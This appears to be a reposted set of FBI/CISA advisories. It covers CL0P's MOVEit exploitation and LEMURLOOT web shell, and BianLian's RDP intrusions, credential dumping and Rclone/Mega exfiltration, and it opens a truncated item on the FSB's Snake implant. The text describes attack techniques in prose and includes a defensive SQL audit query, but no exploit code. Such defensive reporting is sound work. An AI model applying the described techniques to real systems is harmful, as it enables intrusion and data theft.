SUMMARY

Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

Actions to take today to mitigate cyber threats from CL0P ransomware: 

• Take an inventory of assets and data, identifying authorized and unauthorized devices and software.
• Grant admin privileges and access only when necessary, establishing a software allow list that only executes legitimate applications.
• Monitor network ports, protocols, and services, activating security configurations on network infrastructure devices such as firewalls and routers.
• Regularly patch and update software and applications to their latest versions, and conduct regular vulnerability assessments.

The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known CL0P ransomware IOCs and TTPs identified through FBI investigations as recently as June 2023.

According to open source information, beginning on May 27, 2023, CL0P Ransomware Gang, also known as TA505, began exploiting a previously unknown SQL injection vulnerability (CVE-2023-34362) in Progress Software’s managed file transfer (MFT) solution known as MOVEit Transfer. Internet-facing MOVEit Transfer web applications were infected with a web shell named LEMURLOOT, which was then used to steal data from underlying MOVEit Transfer databases. In similar spates of activity, TA505 conducted zero-day-exploit-driven campaigns against Accellion File Transfer Appliance (FTA) devices in 2020 and 2021, and Fortra/Linoma GoAnywhere MFT servers in early 2023.

FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of CL0P ransomware and other ransomware incidents.

Download the PDF version of this report:

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 13. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.

Appearing in February 2019, and evolving from the CryptoMix ransomware variant, CL0P was leveraged as a Ransomware as a Service (RaaS) in large-scale spear-phishing campaigns that used a verified and digitally signed binary to bypass system defenses. CL0P was previously known for its use of the “double extortion” tactic of stealing and encrypting victim data, refusing to restore victim access and publishing exfiltrated data on Tor via the CL0P^_-LEAKS website. In 2019, TA505 actors leveraged CL0P ransomware as the final payload of a phishing campaign involving a macro-enabled document that used a Get2 malware dropper for downloading SDBot and FlawedGrace. In recent campaigns beginning 2021, CL0P preferred to rely mostly on data exfiltration over encryption.

Beyond CL0P ransomware, TA505 is known for frequently changing malware and driving global trends in criminal malware distribution. Considered to be one of the largest phishing and malspam distributors worldwide, TA505 is estimated to have compromised more than 3,000 U.S.-based organizations and 8,000 global organizations.

TA505 has operated:

• A RaaS and has acted as an affiliate of other RaaS operations,
• As an initial access broker (IAB), selling access to compromised corporate networks,
• As a customer of other IABs,
• And as a large botnet operator specializing in financial fraud and phishing attacks.

In a campaign from 2020 to 2021, TA505 used several zero-day exploits to install a web shell named DEWMODE on internet-facing Accellion FTA servers. Similarly, the recent exploitation of MOVEit Transfer, a SQL injection vulnerability was used to install the web shell, which enabled TA505 to execute operating system commands on the infected server and steal data.

In late January 2023, the CL0P ransomware group launched a campaign using a zero-day vulnerability, now catalogued as CVE-2023-0669, to target the GoAnywhere MFT platform. The group claimed to have exfiltrated data from the GoAnywhere MFT platform that impacted approximately 130 victims over the course of 10 days. Lateral movement into the victim networks from the GoAnywhere MFT was not identified, suggesting the breach was limited to the GoAnywhere platform itself. Over the next several weeks, as the exfiltrated data was parsed by the group, ransom notes were sent to upper-level executives of the victim companies, likely identified through open source research. The ransom notes threatened to publish the stolen files on the CL0P data leak site if victims did not pay the ransom amount.

CL0P’s toolkit contains several malware types to collect information, including the following:

• FlawedAmmyy/FlawedGrace remote access trojan (RAT) collects information and attempts to communicate with the Command and Control (C2) server to enable the download of additional malware components [T1071], [T1105].
• SDBot RAT propagates the infection, exploiting vulnerabilities and dropping copies of itself in removable drives and network shares [T1105]. It is also capable of propagating when shared though peer-to-peer (P2P) networks. SDBot is used as a backdoor [T1059.001] to enable other commands and functions to be executed in the compromised computer. This malware uses application shimming for persistence and to avoid detection [T1546.011].
• Truebot is a first-stage downloader module that can collect system information and take screenshots [T1113], developed and attributed to the Silence hacking group. After connecting to the C2 infrastructure, Truebot can be instructed to load shell code [T1055] or DLLs [T1574.002], download additional modules [T1129], run them, or delete itself [T1070]. In the case of TA505, Truebot has been used to download FlawedGrace or Cobalt Strike beacons.
• Cobalt Strike is used to expand network access after gaining access to the Active Directory (AD) server [T1018].
• DEWMODE is a web shell written in PHP designed to target Accellion FTA devices and interact with the underlying MySQL database and is used to steal data from the compromised device [1505.003].
• LEMURLOOT is a web shell written in C# designed to target the MOVEit Transfer platform. The web shell authenticates incoming http requests via a hard-coded password and can run commands that will download files from the MOVEit Transfer system, extract its Azure system settings, retrieve detailed record information, and create, insert, or delete a particular user. When responding to the request, the web shell returns data in a gzip compressed format.

CVE-2023-34362 MOVEIT TRANSFER VULNERABILITY

MOVEit is typically used to manage an organization’s file transfer operations and has a web application that supports MySQL, Microsoft SQL Server, and Azure SQL database engines. In May 2023, the CL0P ransomware group exploited a SQL injection zero-day vulnerability CVE-2023-34362 to install a web shell named LEMURLOOT on MOVEit Transfer web applications [T1190] [1]. The web shell was initially observed with the name human2.aspx in an effort to masquerade as the legitimate human.aspx file present as part of MOVEit Transfer software. Upon installation, the web shell creates a random 36 character password to be used for authentication. The web shell interacts with its operators by awaiting HTTP requests containing a header field named X-siLock-Comment, which must have a value assigned equal to the password established upon the installation of the web shell. After authenticating with the web shell, operators pass commands to the web shell that can:

• Retrieve Microsoft Azure system settings and enumerate the underlying SQL database.
• Store a string sent by the operator and then retrieve a file with a name matching the string from the MOVEit Transfer system.
• Create a new administrator privileged account with a randomly generated username and LoginName and RealName values set to “Health Check Service.”
• Delete an account with LoginName and RealName values set to ‘Health Check Service.’

Progress Software announced the discovery of CVE-2023-34362 MOVEit Transfer vulnerability and issued guidance on known affected versions, software upgrades, and patching. Based on evidence of active exploitation, CISA added this vulnerability to the Known Exploited Vulnerabilities (KEVs) Catalog on June 2, 2023. This MOVEit Transfer critical vulnerability exploit impacts the following versions of the software [2]:

• MOVEit Transfer 2023.0.0
• MOVEit Transfer 2022.1.x
• MOVEit Transfer 2022.0.x
• MOVEit Transfer 2021.1.x
• MOVEit Transfer 2021.0.x
• MOVEit Transfer 2020.1.x
• MOVEit Transfer 2020.0.x

Due to the speed and ease TA505 has exploited this vulnerability, and based on their past campaigns, FBI and CISA expect to see widespread exploitation of unpatched software services in both private and public networks. For IOCs related to the MOVEit campaign, see table 2.

DETECTION METHODS

Below, are open source deployable YARA rules that may be used to detect malicious activity of the MOVEit Transfer Zero Day Vulnerability. For more information, visit GitHub or the resource section of this CSA. [1] [3]:

If a victim rebuilds the web server but leaves the database intact, the CL0P user accounts will still exist and can be used for persistent access to the system.

Victims can use the following SQL query to audit for active administrative accounts, and should validate that only intended accounts are present.

SELECT * FROM [<database name>].[dbo].[users] WHERE Permission=30 AND Status='active' and Deleted='0'

MOVEit Campaign Indicators of Compromise

GoAnywhere Campaign Indicators of Compromise

MITRE ATT&CK TECHNIQUES

See tables below for referenced CL0P tactics and techniques used in this advisory.

MITIGATIONS

The authoring agencies recommend organizations implement the mitigations below to improve their organization’s security posture in response to threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections to reduce the risk of compromise by CL0P ransomware.

• Reduce threat of malicious actors using remote access tools by:
  • Auditing remote access tools on your network to identify currently used and/or authorized software.
  • Reviewing logs for execution of remote access software to detect abnormal use of programs running as a portable executable [CPG 2.T].
  • Using security software to detect instances of remote access software only being loaded in memory.
  • Requiring authorized remote access solutions only be used from within your network over approved remote access solutions, such as virtual private networks (VPNs) or virtual desktop interfaces (VDIs).
  • Blocking both inbound and outbound connections on common remote access software ports and protocols at the network perimeter.
• Implement application controls to manage and control execution of software, including allowlisting remote access programs.
  • Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.
• Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Audit the network for systems using RDP.
  • Close unused RDP ports.
  • Enforce account lockouts after a specified number of attempts.
  • Apply phishing-resistant multifactor authentication (MFA).
  • Log RDP login attempts.
• Disable command-line and scripting activities and permissions [CPG 2.N].
• Restrict the use of PowerShell, using Group Policy, and only grant to specific users on a case-by-case basis. Typically, only those users or administrators who manage the network or Windows operating systems (OSs) should be permitted to use PowerShell [CPG 2.E].
• Update Windows PowerShell or PowerShell Core to the latest version and uninstall all earlier PowerShell versions. Logs from Windows PowerShell prior to version 5.0 are either non-existent or do not record enough detail to aid in enterprise monitoring and incident response activities [CPG 1.E, 2.S, 2.T].
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 4.C].
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
• Reduce the threat of credential compromise via the following:
  • Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally.
  • Refrain from storing plaintext credentials in scripts.
• Implement time-based access for accounts set at the admin level and higher [CPG 2.A, 2.E].

In addition, the authoring authorities of this CSA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the impact and risk of compromise by ransomware or data extortion actors: 

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
• Maintain offline backups of data and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization limits the severity of disruption to its business practices [CPG 2.R].
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies.
  • Use longer passwords consisting of at least eight characters and no more than 64 characters in length [CPG 2.B].
  • Store passwords in hashed format using industry-recognized password managers.
  • Add password user “salts” to shared login credentials.
  • Avoid reusing passwords [CPG 2.C].
  • Implement multiple failed login attempt account lockouts [CPG 2.G].
  • Disable password “hints.”
  • Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
  • Require administrator credentials to install software.
• Require multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
• Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Disable unused ports [CPG 2.V].
• Consider adding an email banner to emails received from outside your organization [CPG 2.M].
• Disable hyperlinks in received emails.
• Ensure all backup data is encrypted, immutable (i.e., ensure backup data cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, FBI and CISA recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring authorities of this CSA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory. 
To get started:

1. Select an ATT&CK technique described in this advisory (see table 2).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

RESOURCES

• Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts.
• Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
• No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment.

REFERENCE
[1] Zero-Day Vulnerability in MOVEit Transfer Exploited for Data Theft | Mandiant
[2] MOVEit Transfer Critical Vulnerability (May 2023) – Progress Community
[3] MOVEit Transfer Critical Vulnerability CVE-2023-34362 Rapid Response (huntress.com)

REPORTING

The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with CL0P group actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, report the incident to the FBI Internet Crime Complaint Center (IC3) at ic3.gov, or CISA at cisa.gov/report.

DISCLAIMER

The information in this report is being provided “as is” for informational purposes only. CISA and the FBI do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or the FBI.

Source de l’article sur us-cert.gov

Summary

Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and Australian Cyber Security Centre (ACSC) are releasing this joint Cybersecurity Advisory to disseminate known BianLian ransomware and data extortion group IOCs and TTPs identified through FBI and ACSC investigations as of March 2023.

BianLian is a ransomware developer, deployer, and data extortion cybercriminal group that has targeted organizations in multiple U.S. critical infrastructure sectors since June 2022. They have also targeted Australian critical infrastructure sectors in addition to professional services and property development. The group gains access to victim systems through valid Remote Desktop Protocol (RDP) credentials, uses open-source tools and command-line scripting for discovery and credential harvesting, and exfiltrates victim data via File Transfer Protocol (FTP), Rclone, or Mega. BianLian group actors then extort money by threatening to release data if payment is not made. BianLian group originally employed a double-extortion model in which they encrypted victims’ systems after exfiltrating the data; however, around January 2023, they shifted to primarily exfiltration-based extortion.

FBI, CISA, and ACSC encourage critical infrastructure organizations and small- and medium-sized organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of BianLian and other ransomware incidents.

Download the PDF version of this report (710kb):

For a downloadable copy of IOCs (35kb), see:

Technical Details

Note: This advisory uses the MITRE ATT&CK^® for Enterprise framework, version 13. See the MITRE ATT&CK® Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK® Tactics and Techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

BianLian is a ransomware developer, deployer, and data extortion cybercriminal group. FBI observed BianLian group targeting organizations in multiple U.S. critical infrastructure sectors since June 2022. In Australia, ACSC has observed BianLian group predominately targeting private enterprises, including one critical infrastructure organization. BianLian group originally employed a double-extortion model in which they exfiltrated financial, client, business, technical, and personal files for leverage and encrypted victims’ systems. In 2023, FBI observed BianLian shift to primarily exfiltration-based extortion with victims’ systems left intact, and ACSC observed BianLian shift exclusively to exfiltration-based extortion. BianLian actors warn of financial, business, and legal ramifications if payment is not made.

Initial Access

BianLian group actors gain initial access to networks by leveraging compromised Remote Desktop Protocol (RDP) credentials likely acquired from initial access brokers [T1078],[T1133] or via phishing [T1566].

Command and Control

BianLian group actors implant a custom backdoor specific to each victim written in Go (see the Indicators of Compromise Section for an example) [T1587.001] and install remote management and access software—e.g., TeamViewer, Atera Agent, SplashTop, AnyDesk—for persistence and command and control [T1105],[T1219].

FBI also observed BianLian group actors create and/or activate local administrator accounts [T1136.001] and change those account passwords [T1098].

Defense Evasion

BianLian group actors use PowerShell [T1059.001] and Windows Command Shell [T1059.003] to disable antivirus tools [T1562.001], specifically Windows defender and Anti-Malware Scan Interface (AMSI). BianLian actors modify the Windows Registry [T1112] to disable tamper protection for Sophos SAVEnabled, SEDEenabled, and SAVService services, which enables them to uninstall these services. See Appendix: Windows PowerShell and Command Shell Activity for additional information, including specific commands they have used.

Discovery

BianLian group actors use a combination of compiled tools, which they first download to the victim environment, to learn about the victim’s environment. BianLian group actors have used:

• Advanced Port Scanner, a network scanner used to find open ports on network computers and retrieve versions of programs running on the detected ports [T1046].
• SoftPerfect Network Scanner (netscan.exe), a network scanner that can ping computers, scan ports, and discover shared folders [T1135].
• SharpShares to enumerate accessible network shares in a domain.
• PingCastle to enumerate Active Directory (AD) [T1482]. PingCastle provides an AD map to visualize the hierarchy of trust relationships.

BianLian actors also use native Windows tools and Windows Command Shell to:

• Query currently logged-in users [T1033].
• Query the domain controller to identify:
  • All groups [T1069.002].
  • Accounts in the Domain Admins and Domain Computers groups [1087.002].
  • All users in the domain.
• Retrieve a list of all domain controllers and domain trusts.
• Identify accessible devices on the network [T1018].

See Appendix: Windows PowerShell and Command Shell Activity for additional information, including specific commands they have used.

Credential Access

BianLian group uses valid accounts for lateral movement through the network and to pursue other follow-on activity. To obtain the credentials, BianLian group actors use Windows Command Shell to find unsecured credentials on the local machine [T1552.001]. FBI also observed BianLian harvest credentials from the Local Security Authority Subsystem Service (LSASS) memory [T1003.001], download RDP Recognizer (a tool that could be used to brute force RDP passwords or check for RDP vulnerabilities) to the victim system, and attempt to access an Active Directory domain database (NTDS.dit) [T1003.003].

In one case, FBI observed BianLian actors use a portable executable version of an Impacket tool (secretsdump.py) to move laterally to a domain controller and harvest credential hashes from it. Note: Impacket is a Python toolkit for programmatically constructing and manipulating network protocols. Through the Command Shell, an Impacket user with credentials can run commands on a remote device using the Windows management protocols required to support an enterprise network. Threat actors can run portable executable files on victim systems using local user rights, assuming the executable is not blocked by an application allowlist or antivirus solution.

See Appendix: Windows PowerShell and Command Shell Activity for additional information.

Persistence and Lateral Movement

BianLian group actors use PsExec and RDP with valid accounts for lateral movement [T1021.001]. Prior to using RDP, BianLian actors used Command Shell and native Windows tools to add user accounts to the local Remote Desktop Users group, modified the added account’s password, and modified Windows firewall rules to allow incoming RDP traffic [T1562.004]. See Appendix: Windows PowerShell and Command Shell Activity for additional information.

In one case, FBI found a forensic artifact (exp.exe) on a compromised system that likely exploits the Netlogon vulnerability (CVE-2020-1472) and connects to a domain controller.

Collection

FBI observed BianLian group actors using malware (system.exe) that enumerates registry [T1012] and files [T1083] and copies clipboard data from users [T1115].

Exfiltration and Impact

BianLian group actors search for sensitive files using PowerShell scripts (See Appendix: Windows PowerShell and Command Shell Activity) and exfiltrate them for data extortion. Prior to January 2023, BianLian actors encrypted files [T1486] after exfiltration for double extortion.

BianLian group uses File Transfer Protocol (FTP) [T1048] and Rclone, a tool used to sync files to cloud storage, to exfiltrate data [T1537]. FBI observed BianLian group actors install Rclone and other files in generic and typically unchecked folders such as programdatavmware and music folders. ACSC observed BianLian group actors use Mega file-sharing service to exfiltrate victim data [T1567.002].

BianLian’s encryptor (encryptor.exe) modified all encrypted files to have the .bianlian extension. The encryptor created a ransom note, Look at this instruction.txt, in each affected directory (see Figure 1 for an example ransom note.) According to the ransom note, BianLian group specifically looked for, encrypted, and exfiltrated financial, client, business, technical, and personal files.

If a victim refuses to pay the ransom demand, BianLian group threatens to publish exfiltrated data to a leak site maintained on the Tor network. The ransom note provides the Tox ID A4B3B0845DA242A64BF17E0DB4278EDF85855739667D3E2AE8B89D5439015F07E81D12D767FC, which does not vary across victims. The Tox ID directs the victim organization to a Tox chat via https://qtox.github[.]io and includes an alternative contact email address (swikipedia@onionmail[.]org or xxx@mail2tor[.]com). The email address is also the same address listed on the group’s Tor site under the contact information section. Each victim company is assigned a unique identifier included in the ransom note. BianLian group receives payments in unique cryptocurrency wallets for each victim company.

BianLian group engages in additional techniques to pressure the victim into paying the ransom; for example, printing the ransom note to printers on the compromised network. Employees of victim companies also reported receiving threatening telephone calls from individuals associated with BianLian group.

Indicators of Compromise (IOC)

See Table 1 for IOCs obtained from FBI investigations as of March 2023.

MITRE ATT&CK Techniques

See Table 2 for all referenced threat actor tactics and techniques in this advisory.

Mitigations

FBI, CISA, and ACSC recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

• Reduce threat of malicious actors using remote access tools by:
  • Auditing remote access tools on your network to identify currently used and/or authorized software.
  • Reviewing logs for execution of remote access software to detect abnormal use of programs running as a portable executable [CPG 2.T].
  • Using security software to detect instances of remote access software only being loaded in memory.
  • Requiring authorized remote access solutions only be used from within your network over approved remote access solutions, such as virtual private networks (VPNs) or virtual desktop interfaces (VDIs).
  • Blocking both inbound and outbound connections on common remote access software ports and protocols at the network perimeter.
• Implement application controls to manage and control execution of software, including allowlisting remote access programs.
  • Application controls should prevent installation and execution of portable versions of unauthorized remote access and other software. A properly configured application allowlisting solution will block any unlisted application execution. Allowlisting is important because antivirus solutions may fail to detect the execution of malicious portable executables when the files use any combination of compression, encryption, or obfuscation.

See NSA Cybersecurity Information sheet Enforce Signed Software Execution Policies for additional guidance.

• Strictly limit the use of RDP and other remote desktop services. If RDP is necessary, rigorously apply best practices, for example [CPG 2.W]:
  • Audit the network for systems using RDP.
  • Close unused RDP ports.
  • Enforce account lockouts after a specified number of attempts.
  • Apply phishing-resistant multifactor authentication (MFA).
  • Log RDP login attempts.
• Disable command-line and scripting activities and permissions [CPG 2.N].
• Restrict the use of PowerShell, using Group Policy, and only grant to specific users on a case-by-case basis. Typically, only those users or administrators who manage the network or Windows operating systems (OSs) should be permitted to use PowerShell [CPG 2.E].
• Update Windows PowerShell or PowerShell Core to the latest version and uninstall all earlier PowerShell versions. Logs from Windows PowerShell prior to version 5.0 are either non-existent or do not record enough detail to aid in enterprise monitoring and incident response activities [CPG 1.E, 2.S, 2.T].
• Enable enhanced PowerShell logging [CPG 2.T, 2.U].
  • PowerShell logs contain valuable data, including historical OS and registry interaction and possible TTPs of a threat actor’s PowerShell use.
  • Ensure PowerShell instances, using the latest version, have module, script block, and transcription logging enabled (enhanced logging).
  • The two logs that record PowerShell activity are the PowerShell Windows Event Log and the PowerShell Operational Log. FBI and CISA recommend turning on these two Windows Event Logs with a retention period of at least 180 days. These logs should be checked on a regular basis to confirm whether the log data has been deleted or logging has been turned off. Set the storage size permitted for both logs to as large as possible.
• Configure the Windows Registry to require User Account Control (UAC) approval for any PsExec operations requiring administrator privileges to reduce the risk of lateral movement by PsExec.
• Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts [CPG 4.C].
• Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
• Reduce the threat of credential compromise via the following:
  • Place domain admin accounts in the protected users’ group to prevent caching of password hashes locally.
  • Implement Credential Guard for Windows 10 and Server 2016 (Refer to Microsoft: Manage Windows Defender Credential Guard for more information). For Windows Server 2012R2, enable Protected Process Light for Local Security Authority (LSA).
  • Refrain from storing plaintext credentials in scripts.
• Implement time-based access for accounts set at the admin level and higher [CPG 2.A, 2.E]. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory (AD) level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.

In addition, FBI, CISA, and ACSC recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the impact and risk of compromise by ransomware or data extortion actors:

• Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, or the cloud).
• Maintain offline backups of data, and regularly maintain backup and restoration (daily or weekly at minimum). By instituting this practice, an organization minimizes the impact of disruption to business practices as they will not be as severe and/or only have irretrievable data [CPG 2.R]. ACSC recommends organizations follow the 3-2-1 backup strategy in which organizations have three copies of data (one copy of production data and two backup copies) on two different media such as disk and tape, with one copy kept off-site for disaster recovery.
• Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute for Standards and Technology (NIST) standards for developing and managing password policies.
  • Use longer passwords consisting of at least 15 characters [CPG 2.B].
  • Store passwords in hashed format using industry-recognized password managers.
  • Add password user “salts” to shared login credentials.
  • Avoid reusing passwords [CPG 2.C].
  • Implement multiple failed login attempt account lockouts [CPG 2.G].
  • Disable password “hints”.
  • Refrain from requiring password changes more frequently than once per year.
    Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.
  • Require administrator credentials to install software.
• Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
• Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should patch vulnerable software and hardware systems within 24 to 48 hours from vulnerability disclosure. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
• Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks, restricting further lateral movement [CPG 2.F].
• Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections, as they have insight into common and uncommon network connections for each host [CPG 3.A].
• Install, regularly update, and enable real time detection for antivirus software on all hosts.
• Disable unused ports [CPG 2.V].
• Consider adding an email banner to emails received from outside your organization [CPG 2.M].
• Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [CPG 2.K, 2.L, 2.R].

Validate Security Controls

In addition to applying mitigations, FBI, CISA, and ACSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. FBI, CISA, and ACSC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 2).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

FBI, CISA, and ACSC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

• Stopransomware.gov, a whole-of-government approach with one central location for U.S. ransomware resources and alerts.
• cyber.gov.au for the Australian Government’s central location to report cyber incidents, including ransomware, and to see advice and alerts. The site also provides ransomware advisories for businesses and organizations to help mitigate cyber threats.
• CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide for guidance on mitigating and responding to a ransomware attack
• For no-cost cyber hygiene services for U.S. organizations,  Cyber Hygiene Services and Ransomware Readiness Assessment.

Reporting

The FBI is seeking any information that can be shared, including boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with BianLian actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI and CISA do not encourage paying ransom, as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office or CISA at cisa.gov/report. Australian organizations that have been impacted or require assistance in regard to a ransomware incident can contact ACSC via 1300 CYBER1 (1300 292 371) or by submitting a report cyber.gov.au.

Acknowledgements

Microsoft and Sophos contributed to this advisory.

APPENDIX: WINDOWS PowerSHell and COMMAND SHELL ACTIVITY

Through FBI investigations as of March 2023, FBI has observed BianLian actors use the commands in Table 3. ACSC has observed BianLian actors use some of the same commands.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. FBI, CISA, and ACSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI, CISA, or ACSC.

Source de l’article sur us-cert.gov

SUMMARY

The Snake implant is considered the most sophisticated cyber espionage tool designed and used by Center 16 of Russia’s Federal Security Service (FSB) for long-term intelligence collection on sensitive targets. To conduct operations using this tool, the FSB created a covert peer-to-peer (P2P) network of numerous Snake-infected computers worldwide. Many systems in this P2P network serve as relay nodes which route disguised operational traffic to and from Snake implants on the FSB’s ultimate targets. Snake’s custom communications protocols employ encryption and fragmentation for confidentiality and are designed to hamper detection and collection efforts.

